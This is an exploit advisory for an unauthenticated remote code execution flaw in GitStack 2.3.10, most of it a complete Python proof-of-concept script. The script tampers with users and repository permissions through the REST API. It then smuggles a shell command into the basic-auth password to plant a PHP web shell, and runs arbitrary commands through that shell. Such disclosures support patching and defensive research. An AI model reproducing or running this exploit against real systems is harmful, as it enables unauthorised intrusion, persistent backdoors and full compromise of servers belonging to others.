GitStack 2.3.10 Remote Code Execution

# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
# Date: 18.01.2018
# Software Link: https://gitstack.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
   
1. Description
  
$_SERVER['PHP_AUTH_PW'] is directly passed to exec function.

https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html
 
2. Proof of Concept

https://github.com/kacperszurek/exploits/blob/master/GitStack/gitstack_unauthenticated_rce.py


gitstack_unauthenticated_rce.py:

import requests
from requests.auth import HTTPBasicAuth
import os
import sys

ip = '192.168.1.102'

# What command you want to execute
command = "whoami"

repository = 'rce'
username = 'rce'
password = 'rce'
csrf_token = 'token'

user_list = []

print "[+] Get user list"
try:
    r = requests.get("http://{}/rest/user/".format(ip))
    user_list = r.json()
    user_list.remove('everyone')
except:
    pass

if len(user_list) > 0:
    username = user_list[0]
    print "[+] Found user {}".format(username)
else:
    r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
    print "[+] Create user"
    
    if not "User created" in r.text and not "User already exist" in r.text:
        print "[-] Cannot create user"
        os._exit(0)

r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
if "true" in r.text:
    print "[+] Web repository already enabled"
else:
    print "[+] Enable web repository"
    r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
    if not "Web interface successfully enabled" in r.text:
        print "[-] Cannot enable web interface"
        os._exit(0)

print "[+] Get repositories list"
r = requests.get("http://{}/rest/repository/".format(ip))
repository_list = r.json()

if len(repository_list) > 0:
    repository = repository_list[0]['name']
    print "[+] Found repository {}".format(repository)
else:
    print "[+] Create repository"

    r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
    if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
        print "[-] Cannot create repository"
        os._exit(0)

print "[+] Add user to repository"
r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))

if not "added to" in r.text and not "has already" in r.text:
    print "[-] Cannot add user to repository"
    os._exit(0) 

print "[+] Disable access for anyone"
r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))

if not "everyone removed from rce" in r.text and not "not in list" in r.text:
    print "[-] Cannot remove access for anyone"
    os._exit(0) 

print "[+] Create backdoor in PHP"
r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit.php'))
print r.text.encode(sys.stdout.encoding, errors='replace')

print "[+] Execute command"
r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')